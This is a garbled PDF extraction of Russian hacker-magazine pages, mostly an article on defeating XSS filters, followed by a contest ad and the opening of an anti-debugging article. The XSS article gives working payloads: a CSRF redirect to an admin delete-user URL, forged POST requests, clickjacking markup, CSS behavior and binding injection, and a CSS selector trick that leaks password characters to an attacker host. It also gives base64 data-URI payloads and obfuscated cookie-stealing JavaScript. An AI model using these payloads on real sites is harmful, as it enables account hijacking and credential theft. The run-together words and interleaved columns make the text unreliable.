header('Location: http://attacked-host/ admin.php?act=delUser&id=1');
die();
?>
—иполучаемровнымсчетомтожесамое. Такимобразом, все, чтопозволяетвставлятьсвоикартинкивсообщения подходитдляатаки. Тутянемноголукавлю, потомучтовебприложениеможетзапроситьбайтытвоего«рисунка» и прогнатьихчерезграфическуюбиблиотеку, напримерLibGD. Тогдатакойспособнепройдет. Впрочем, подобныхвеб-при- ложенийоченьмало. Ноэтоещелегко. ЕслиестьJavaScript
—можноработатьсDOM-объектами, например, отправлять формы. Это, какминимум, даетужеPOST-запрос. Просто создаешьdocument.write нужныеобъектыform, input ивсе остальноегде-нибудьвневидимомdiv, апотомделаешь document.myform.submit(). ЕщеможноотправитьPOST-
запросчерезвстроенныеобъектыwindow.ActiveXObject
дляInternet Explorer иwindow.XMLHttpRequest дляMozilla,
064 |
XÀÊÅÐ 10 /130/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
HA.CKERS.ORG — АЗБУКАXSS.
РЕКОМЕНДОВАНОКПЕРЕОСМЫСЛЕНИЮ
|
ТАСАМАЯXSS ЧЕРЕЗБИТРИКС |
Safari, Chrome. УниверсальныйJavaScript будет |
WAF, КОТОРАЯНАШЛАСЬПОСЛЕ |
примернотаким: |
CHAOS CONSTRUCTIONS 2009 |
XSS, КОТОРАЯОБХОДИТФИЛЬТРАЦИЮБЛАГОДАРЯКОДИРОВКЕ UTF-7. БЫЛАНАЙДЕНА
ВGOOGLE В2005 ГОДУ
function makePOSTRequest |
|
попался, распечатываеткартинкунапринтере. |
||
(url, parameters) |
|
Атакавыглядитследующимобразом: |
||
{ |
|
|
|
|
|
|
|
|
|
http_request = false; |
|
|
<img src='myprinter:9100/Printed_ |
|
// Mozilla, Safari,... |
|
|
from_the_web/> |
|
if (window.XMLHttpRequest) |
|
|
|
|
|
Это, конечно, концепция, носпомощью |
|||
{ |
|
|||
http_request = new XMLHttpRequest(); |
|
JavaScript иPOST-запросапечатьдействи- |
||
if(http_request.overrideMimeType) |
|
тельнополучится. |
||
{ |
|
CLICKJACKING |
||
// set type accordingly to anticipated |
|
|||
content type |
|
Этоноваяиинтереснаятехника. Сутьпроста, как |
||
http_request.overrideMimeType( |
|
помидор— атакуемыйсайтподгружаетсякак |
||
'text/html'); |
|
подложкаподкакой-нибудьдругойслой, напри- |
||
} |
|
мер, игрутипа«попадимышкой». Пользователь |
||
} |
|
щелкаетподвижущейсямишени, нажимаяна |
||
else if (window.ActiveXObject) |
|
реальныекнопкиатакуемогосайта, которыйон |
||
{ // IE |
|
невидит. СделатьэтоможноиспомощьюFlash |
||
try { |
|
испомощьюCSS. ВотвариантотDavid Ross: |
||
http_request = new ActiveXObject( |
|
|
|
|
"Msxml2.XMLHTTP"); |
|
|
iframe,frame,object,applet { |
|
} |
|
|
border:1px solid #000 !important; |
|
catch (e) |
|
|
visibility:visible !important; |
|
{ |
|
|
opacity: 1 !important; |
|
try { |
|
|
filter: alpha(opacity=100) |
|
http_request = new ActiveXObject( |
|
|
!important; |
|
"Microsoft.XMLHTTP"); |
|
|
position:absolute !important; |
|
} |
|
|
float:none !important; |
|
catch (e) |
|
|
overflow:auto !important; |
|
{} |
|
.... |
|
|
} |
|
} |
|
|
} |
|
|
|
|
|
Иливот— отегожебанды— спомощьюhtml и |
|||
if (!http_request) { |
|
|||
return false; |
|
стилей: |
||
} |
|
|
|
|
|
|
|
<html> |
|
http_request.onreadystatechange = \ |
|
|
<head> |
|
alertContents; |
|
|
</head> |
|
http_request.open('POST', url, true); |
|
|
<body> |
|
http_request.setRequestHeader( |
|
|
<image ISMAP style="position: |
|
"Content-type", |
|
|
absolute;width:100%;height:10 |
|
"application/x-www-form-urlencoded"); |
|
|
0%;" onmousedown="this.style. |
|
http_request.setRequestHeader( |
|
|
display='none'"> |
|
"Content-length", parameters.length); |
|
|
<iframe src="http://www.microsoft. |
|
http_request.setRequestHeader( |
|
|
com" id=x type=text/html width=500 |
|
"Connection", "close"); |
|
|
height=500 codetype=text/html |
|
http_request.send(parameters); |
|
|
id=x></iframe></image> |
|
} |
|
|
</button> |
|
|
|
|
</body> |
|
Носамыйвеселыйвариант, которыймне |
|
|
</html> |
|
|
|
|
|
|
Тутязадерживатьсяособонебуду. Возьмина заметку, есличтонепонятно— вСетимного материаловнаэтутему. Яжепродолжуповествованиеименноометодахобходафильтров.
БУДЬСТИЛЬНЫМ! ИСПОЛЬЗОВАНИЕCSS2
ИCSS3 ДЛЯXSS
Преждевсего, упомянузаезженныевещи. Для Internet Explorer существуетспособвыполнять
JavaScript спомощьюфункцииexpression(). В
качествеаргументаейпередаетсясамскрипт. Примерреализации— всамомначалестатьи. ЧутьменеезаезженныйприемдляIE — использованиеbehavior. Проблемавтом, чтоможно подключитьтолькофайл, расположенныйна томжедомене. ВотHTML:
<div style=”behavior: url(“/file. htc”)
Содержимоеподключаемогофайлапримерно следующее:
<attach event="ondocumentready" handler="parseStylesheets" /> <script language="JavaScript"> function parseStylesheets() {
alert(document.cookie + '\nONSEC. ru security research team')
}
</script>
Естьнебольшойположительныймомент— такуюконструкциюможнозасунутьвнутрьдругогоHTML; IE распознаеттамвсе, чтонамнадо
ивыполнит. Такимобразом, естьвозможность использоватьсякакбыдваXSS крядуивызвать какую-нибудьадминистративнуюjavascript- функцию. Сейчасрасскажуболееподробно. Предположим, естьсайтсуязвимостьюXSS
ифильтром, которыйфильтруетscript, но пропускаетbehavior. Длянаглядности, — пусть существуетуязвимостьвадминкеивпоиске, новсевариантыXSS, кромеbehavior, не работают. Предлагаювоттакой«двойной»
вектор: http://xssed-site.com/search/q=<div style="behavior:url(http://xssed-site.com/ admin/q=<attach event="ondocumentready" handler="delUser(1)"/>)>
XÀÊÅÐ 10 /130/ 09 |
065 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
to |
BUY |
|
|
|
|
|
ВЗЛОМ |
w Click |
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Тутмыподключаемкстраницепоискастраницуадминки, гдетакжеприсутствуетXSS. При
этомпривязываемфункциюdelUser(1) (еще разповторю, этаненашафункция, афункция
самойадминки) ксобытиюondocumentready.
Всенаодномдомене, итакойкодотработает! Едемдальше. Длядвижкамозиллыесть такаяштуковина, как–moz-binding: url(http:// hackme.com/bindme.xml#xss). Этопозволяет подключитьвнешнийXML, внутрикоторого будетсодержатьсяJavaScript. Вотпример такогоXML-файла:
<bindings xmlns="http:// www.mozilla.org/xbl" xmlns:html="http://www. w3.org/1999/xhtml"> <binding id="xss">
<implementation>
<constructor>
alert("XSS");
</constructor>
</implementation>
</binding>
</bindings>
Естьоднамаленькаязагвоздка— приемне будетработатьвFF3.5. Покончивсособенностямибраузеров, переходимкособенностям
самогоCSS. Начнем, конечно, синклудов. С точностьюдопредставлениякодасинтаксис выглядитвоттак:
<style>
@import "http://xakepsite.com/xss.css" </style>
Ну, аужевнутриэтогобезобразияможноскрыть все, чтоупомянутовыше. Теперьчутьвеселее
— чтениезначенийтеговпосредствомчистого CSS3. Дляпримера, унасимеетсяinput, вкоторыйпользовательвводитпароль. ПрикручиваемCSS ссодержанием:
input[value*="\x10"]{
background:url("//xakepsite.
com/?h=\x10");
}
… и так далее … input[value*=“\x7F”]{ background:url(“//attacker.
com/?h=\x7F”);
}
Чтоэтодает? Каждыйраз, когдасимволпароля попадаетвдиапазон10-7F, отсылаетсясоответствующийзапрос. Такимобразом, повыходу унасбудутвсесимволыпароля. Останется толькорасположитьихвнужномпорядке. В реальнойжизнидиапазонв111 символов можнорасширить, аспомощьюасинхронных включенийCSS восстановитьипоследовательностьсимволов. Тутяостанавливатьсяне буду, примерреализации— eaea.sirdarckcat. net/cssar.
ЭТИДЕВУШКИВЫДАЮТНАГРАДУ ЗАКАЖДУЮНАЙДЕННУЮУЯЗВИМОСТЬВСЕРВИСАХGOOGLE
DATA:TEXT/HTML
Популярныйвпоследнеевремяприемобхода фильтров. Главноепреимущество— поддержка base64-формата. Такимобразом, внутреннее выражениефильтрамподверженозаведомоне будет. Реализации, например, такие:
<iframe src="data:text/html;base64, PHNjcmlwdD5hbGVydCgnWFNTJyk8L3Njcm lwdD4K"></iframe>
<FRAMESET><FRAME SRC="data:text/htm l;base64,PHNjcmlwdD5hbGVydCgnWFNTJ yk8L3NjcmlwdD4K"></FRAMESET> <OBJECT TYPE="text/x-scriptlet" DATA="data:text/html;base64,PHNjc mlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4 K"></OBJECT>
Такжепрекрасновыполняетсявадресной строкебраузера. Работаетвезде, кромеInternet Explorer. Помимоtext/html можноиспользовать вариациинатему.
«ОБФУСКАЦИЯ» КОДА
Браузерыпо-разномуобрабатываютHTML
— этонидлякогонесекрет. Используятеили иныеособенности, можноприводитьрабочий кодксостоянию, когдаоннепопадаетпод регулярныевыраженияфильтров. Природе известнымногиеварианты, например:
<p/alt="noxss"onmouseover=alert(/
XSS/)>test</p>
РаботаетвOpera 10, IE 8, FF 3.5, нонепонима-
етсяChrome иSafari.
<style>@\69\6d\70\6f\72\74 '// xakep-site.com/xss.css';</style> <p style="f\iltere\d: va\lue"/>
<div style=f\il\te\r\ed:val\ue></div> <div style=xss:\65\78\70\72\65\73\7 3\69\6f\6e\28\61\6c\65\72\74\28\31 \29\29></div>
<div
style=xss:\65\78
\70\72\6
53\73\73\6
9\6f\6e\
28\61\6c
9265\72\74
\28\31\2
57\29></div> <!—xss:expression(alert(1))-->
РаботаетOpera 10, Chrome, Safari, IE 8, FF 3.5 (сам expression, естественно, отрабатываетсятолько IE).Естьпрекраснаяисследовательскаяработа пораспознаваниютеговиатрибутоввInternet Explorer 6. Нотаккаконанемногоустарела, я небудуцитироватьприемыоттуда. Еслибудет желание— найдешьеенаantichat.ru. Предположимтеперьситуацию, чтодоступквыполнениюJavaScript получен, однакофильтрне пропускаетнужныевыражениявродеdocument. cookie, location.href, document.write ипрочее. Тут расстраиватьсянезачем. Покафильтрнеимеет JavaScript-процессора, еговсегдаможнообойти средствамисамогоJavaScript. Напрошедшей BlackHat 2009 былпредставленинтересный способприведениякодакнефильтруемомувиду
— alert(1) заменяетсянаjson-представление:
($=[$=[]][(____=!$+$)[_=-~-~- ~$]+({}+$)[_/_]+($$=($_=!”+$) [_/_]+$_[+$])])()[__[_/_]+__ [_+~$]+$_[_]+$$](_/_)
Ну,как,читаемо?Аглавное—всесимволыпечат- ные.Этотпримеряподробноразобралвсвоейза-
метке:http://oxod.ru/2009/08/26/обход-xss-филь-
тров-по-средствам-особенос.Авотпримерчик
обходафильтрацииdocument.cookieотменя:
($=("+([] ['pop']))+");(_="+this);$$$
= _[11]+$[6]+$[3]+$[1]+' m'+$[20]+$[2]+$[4];$$_ =
$[3]+$[6]+$[6]+"k”+$[5]+$[20]; alert(this[$$$][$$_])
Тутидеявтом, что, приводятипыизначенияпеременныхкстрокам, мыполучаемиз нихнужныесимволыдлясоставленияслов document иcookie. Естественно, ниодин фильтрнесправитсястакойзадачей, неимея возможностисамомувыполнятьJavaScript.
ЗАКЛЮЧЕНИЕ
ХотелзаостритьвниманиеименнонаXSSфильтрах, которыевпоследнеевремявсечаще появляютсянавеб-серверах. Принаписании фильтровоченьважнопойматьграньмеждунеобходимымиизлишним. Иобязательно— проверитьфильтрналожныесрабатывания, чтобы потомнепришлосьразбиратьсяснегодующими пользователями. Теперьсталоочевидно, что отделатьсядесятьюрегулярнымивыражениями невыйдет. Вотвродебыивсе, призываюписать хорошиепродуктыиисследоватьихсэнтузиазмом. Навопросыотвечаювблогеoxod.ru. z
066 |
XÀÊÅÐ 10 /130/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
X-Contest! |
|
to |
|
|
|
|
|
|
||||||||
w Click |
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
m |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
НОВЫЕ ХАК-КВЕСТЫ КАЖДЫЙ МЕСЯЦ на www.ring0cup.ru
|
ПРИЗЫ |
|
ЗАХОДИ НА САЙТ |
25 ОКТЯБРЯ |
|
WWW.RING0CUP.RU, |
БЕСПРОВОДНОЙ НАБОР КЛАВИАТУРА |
СТАРТУЕТ |
ПРОБУЙ СВОИ СИЛЫ |
DEFENDER BERN 795 |
ОКТЯБРЬСКИЙ |
• 19 ХОТКЕЕВ ДЛЯ БЫСТРОГО ДОСТУПА |
||
|
+ МЫШЬ. |
|
В РЕВЕРСИНГЕ, |
К ПРИЛОЖЕНИЯМ |
Х-КОНКУРС |
• КОЛЕСО УПРАВЛЕНИЯ ЗВУКОМ |
|
|
ПЕН-ТЕСТЕ И РЕШЕНИИ |
• РАДИОЧАСТОТА 2,4 ГГЦ |
|
ХАКЕРСКИХ |
НА КЛАВЕ |
|
И ПРОРЕЗИНЕННОЕ ПОКРЫТИЕ |
|
|
ГОЛОВОЛОМОК |
• ЭРГОНОМИЧНЫЙ ДИЗАЙН |
|
ЭКОНОМИИ ЭНЕРГИИ |
|
|
|
• ТРЕХУРОВНЕВАЯ СИСТЕМА |
|
И ВЫИГРЫВАЙ ПРИЗЫ. |
|
|
|
|
|
Итоги
сентябрьского
конкурса
1.Xek0
2.JAcKiE
3.peretc89
4.ianepanda
5.mazalamo
DEFENDER ZURICH 755
БЕСПРОВОДНАЯ ЛАЗЕРНАЯ МЫШЬ
•Разрешение: 800 cpi / 1600 cpi
•Радиус действия: 8 метров
• Питание: 2 батарейки АА
XÀÊÅÐ 10 /130/ 09 |
67 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
|||
P |
|
|
|
|
|
NOW! |
o |
|
|
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
to |
BUY |
|
|
|
|
|
ВЗЛОМ |
|
w Click |
|
|
|
|
|
|
ЛЕОНИД «CR@WLER» ИСУПОВ CRAWLER@XAKEP.RU |
|||||
|
|
|
|
|
|
m |
||||||
w |
|
|
|
|
|
|
|
o |
|
|||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
ЭНЦИКЛОПЕДИЯ
АНТИОТЛАДОЧНЫХ
ПРИЕМОВ
Одноизсамыхбольшихудовольствийдляреверсера(иногда
— ибольшаяголовнаяболь) — преодолениезащит, которые «завязаны» наобработкеисключений. Еслитыещенезнаком сподобнымпринципомзащитныхмеханизмовто, все, что
изложенониже, тебеоченьпригодится. «Назакуску» — ещеодин защитныйтрюк: использованиеоднойинтереснойособенности работыфункцииvsprintf (), буквально«убивающей» OllyDbg.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
«ИСКЛЮЧИТЕЛЬНАЯ» |
маетсясистемныйобработчик. Какимобразом |
Разберемследующийкод, которыйвнесенв |
|
ЗАЩИТА |
установитьобработчиксобственный? |
рассмотреннуюнамипрограмму-«дрозофилу» |
|
Частовпроцессеработыпрограммывозни- |
Указательнаструктуру, содержащуюадрес |
«ex.exe» припомощиотладчикаOllyDbg (не |
|
каютситуации, которыеневозможнопредус- |
обработчика(которыйтакжесовпадаетис |
забывай, чтокодвносится, начинаясадреса |
|
мотреть. Например, попытказаписивячейку |
адресомуказателянасамобработчик), нахо- |
00401026, чтотребуетиспользованияLordPe |
|
памяти, котораяпринадлежитстраницес |
дитсяпоадресуFS:[0]. Следовательно, для |
дляизмененияточкивходавпрограмму): |
|
неустановленныматрибутом«writeable», |
того, чтобызаменитьсистемныйобработчик |
|
|
илижеделениенаноль. Длятакихситуаций |
собственным, необходимопоместитьвстек |
00401026 |
XOR EAX,EAX; EAX=0 |
программистыMicrosoft создалимеханизм |
структуру, содержащуюадресновогообработ- |
00401028 |
PUSH 0040103A ; помещение |
обработкиисключений. |
чика, иуказательнастарыйобработчик. После |
адреса нового обработчика в стек |
|
Обработчикисключений, илиSEH (англ. |
чегопоместитьпоадресуFS:[0] указательна |
0040102D |
PUSH DWORD PTR FS:[EAX] |
«Structured Exception Handling») — частькода, |
новуюструктуру. |
; помещение адреса старого обработ- |
|
накоторуювозложенафункцияобработки |
Небудемтерятьвремя, рассмотримнапрак- |
÷èêà â ñòåê |
|
ошибокдляданноготреда. Нужнопояснить, |
тикеодинизантиотладочныхприемов. Если |
00401030 |
MOV DWORD PTR |
чтопредставляетсобойтред(отангл. «thread», |
тычиталпредыдущийвыпускжурнала, то |
FS:[EAX],ESP; помещение в FS:[0] |
|
нить). Думаю, тызнаешь, чтокодпрограммы |
помнишь, чтомыисследовалинебольшую |
указателя на структуру |
|
можетбыть«распараллелен», тоестьне- |
программу-«дрозофилу» (воспользуемся |
00401033 |
CALL 00401033; генерация |
сколькочастейпрограммымогутвыполняться |
термином, которыйиногдавсвоихстатьяхис- |
исключения путем переполнения стека |
|
одновременно— вконтекстеединственного |
пользуетКрис), написаннуюнаассемблере. Ее |
00401038 |
JMP SHORT 00401038; |
процесса(например, вграфическомредакторе |
можнонайтинанашемдиске; точкавходарас- |
данная инструкция никогда не будет |
|
одновременномогутвыполнятьсяпечатьизоб- |
полагаетсяпоадресу0x0401000, акод, который |
исполнена |
|
раженияиегоредактирование). Каждаятакая |
выдаетокошкоснадписью«Hello, World!», |
0040103A |
POP EAX; восстановить |
частьпрограммыиназываетсятредом. При |
имеетразмервсего26h байт. Соответственно, |
регистр |
|
этомдлякаждоготредаможетбытьустановлен |
начинаясадреса0x401026, располагается |
0040103B |
POP EAX; восстановить |
собственныйобработчикисключений. |
«выравнивающий» секциюмассивнулевых |
регистр |
|
Поумолчаниюобработкойисключенийзани- |
байтов. |
0040103C |
POP ESP; восстановить |
|
|
|
|
068 |
XÀÊÅÐ 10 /130/ 09 |